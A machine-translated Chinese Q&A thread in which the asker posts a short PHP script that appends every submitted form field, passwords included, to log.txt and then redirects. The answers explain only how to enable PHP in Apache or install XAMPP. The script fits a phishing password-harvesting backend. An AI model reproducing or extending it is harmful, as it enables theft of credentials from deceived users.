我知道这个问题已被提出,但我真的不明白任何答案。 我不太了解php我只想将我的html网站连接到一个php文件,将所有密码保存到文本文件中。 但是,当我输入一个随机密码,它指示我进入php文件,它只是浏览器上的源代码。 我怀疑地有php instaled(在我的电脑上,我仍然在我的电脑上运行它因为我将它上传到服务器) 这是php的源代码:
<?php
header ('Location: secret :) ');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
答案 0 :(得分:1)
您需要在Web服务器的配置文件中添加php
模块
如果您在Windows上使用Apache HTTP服务器,请打开httpd.conf并添加以下行
#
LoadModule php5_module "c:/php/php5apache2.dll"
AddHandler application/x-httpd-php .php
# configure the path to php.ini
PHPIniDir "C:/php"
阅读更多关于在Windows上安装PHP的here
对于Linux,请添加此行
LoadModule php5_module <path_to_php>/libphp5.so
确保设置libphp5.so
文件
答案 1 :(得分:0)
你觉得你安装了php,但它似乎没有为你的系统正确设置。而不是直接下载PHP我建议初学者使用安装包,如xampp。这代表: - (x)交叉兼容 - (a)pache - (m)y SQL - (p)hp - (p)erl 通过将所有这些包含在包中或意味着您可以使用完整服务器快速入门,并且可以使用数据库和/或apaches功能。
安装软件包后,请确保正确定向页面。